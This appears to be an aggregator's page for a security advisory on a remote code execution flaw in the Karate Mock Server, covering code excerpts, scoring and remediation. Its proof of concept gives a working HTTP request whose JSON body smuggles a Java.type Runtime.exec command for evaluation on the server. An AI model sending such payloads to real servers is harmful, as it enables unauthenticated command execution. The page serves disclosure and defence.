Skip to content
Noroxi
OSV ecosystem advisory

GHSA-2c85-rfcc-g74j: Karate Mock Server RCE via embedded expression evaluation of request-derived data

High—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: io.karatelabs:karate-core (Maven) 2.1.0.

Low priority for now. Upgrade to io.karatelabs:karate-core (Maven) 2.1.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary Karate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as `request`, `requestHeaders`, or `requestParams` to variables. In affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as `#(Java.type(...))` in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process. This issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example: ```karate * def body = request * def hdrs = requestHeaders * def params = requestParams ``` ### Details The issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions. In `MockHandler`, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the `request` binding: ```java // MockHandler.java this.currentRequest = request; request.processBody(); engine.put("request", (JsLazy) () -> currentRequest != null ? currentRequest.getBodyConverted() : null); ``` `HttpRequest.getBodyConverted()` converts attacker-controlled JSON request bodies into Java objects such as `Map<String, Object>`: ```java // HttpRequest.java public Object getBodyConverted() { ResourceType rt = getResourceType(); if (rt != null && rt.isBinary()) { return body; } return HttpUtils.fromBytes(body, false, rt); } ``` When a Mock Server feature contains a step such as: ```karate * def body = request ``` the expression `request` is evaluated by `StepExecutor.executeDef()` through `evalKarateExpression()`: ```java // StepExecutor.java Object value = evalKarateExpression(expr); runtime.setVariable(name, value); ``` Inside `evalKarateExpression()`, the evaluated value is processed as embedded-expression content if it is a `Map` or `List`: ```java // StepExecutor.java Object value = runtime.eval(wrapJsonLikeExpression(expr)); if (value instanceof Map || value instanceof List) { value = processEmbeddedExpressions(value, true); } ``` This is the vulnerable trust-boundary violation. The `Map` originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions. `processEmbeddedExpressions()` recursively walks nested maps/lists and sends string values to `processEmbeddedString()`: ```java // StepExecutor.java } else if (value instanceof String str) { return processEmbeddedString(str, lenient); } ``` `processEmbeddedString()` treats strings of the form `#(...)` as embedded expressions and evaluates them: ```java // StepExecutor.java if (str.startsWith("#(") && str.endsWith(")")) { String expr = str.substring(2, str.length() - 1); try { return runtime.eval(expr); ``` Because the Karate runtime supports Java interop through `Java.type(...)`, attacker-controlled request data can reach Java class loading and command execution. The same issue applies to other request-derived bindings, such as `requestHeaders` and `requestParams`, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation. The important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as `request`, `requestHeaders`, or `requestParams`; the framework then automatically performs embedded-expression evaluation on attacker-controlled data. ### PoC A minimal vulnerable Mock Server feature is: ```karate Feature: demo Background: * def responseHeaders = { 'Content-Type': 'application/json' } Scenario: pathMatches('/api/echo') * def body = request * def response = { ok: true } ``` Start the Mock Server with the vulnerable feature: ```bash java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature ``` http body is here: ```http POST /api/echo HTTP/1.1 Host: localhost:18080 Content-Type: application/json Content-Length: 87 {"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"} ``` <img width="1051" height="558" alt="image" src="https://github.com/user-attachments/assets/f12c4631-dd22-439c-a8df-c7243726c0c4" /> Additional verified vectors: 1. Body vector: triggered when the feature assigns `request`. 2. Header vector: triggered when the feature assigns `requestHeaders`. 3. Query parameter vector: triggered when the feature assigns `requestParams`. These vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing. ### Impact An unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario. The impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as `request`, `requestHeaders`, or `requestParams`. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file. This can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process. ### Tested versions Confirmed on: * `io.karatelabs:karate-core` v2.0.10 * main branch commit `dff68200d`, project version `2.0.11.RC1` The same vulnerable code path appears to exist in v2.0.1 through v2.0.9. I am not claiming v1.x as affected without independent verification. ### Suggested remediation Karate should not automatically process embedded expressions inside data that originated from HTTP requests. Possible fixes include: 1. Preserve a trust boundary for request-derived values such as `request`, `requestHeaders`, and `requestParams`, and skip `processEmbeddedExpressions` for those values. 2. Add a Mock Server safe mode that disables or restricts `Java.type()` / Java interop while processing request data. 3. Require an explicit opt-in step for evaluating embedded expressions inside request-derived data. 4. Add regression tests for body, header, and query parameter injection where `#(Java.type(...))` must remain inert data instead of being evaluated.

Published
Jun 18, 2026
Updated
Jun 18, 2026
EPSS
—

Report tools

JSON

Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-2c85-rfcc-g74j

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Mavenio.karatelabs:karate-core

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Mavenio.karatelabs:karate-corefrom 2.0.1 · before 2.1.02.1.0

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Maven:io.karatelabs:karate-core2.1.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Clear

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records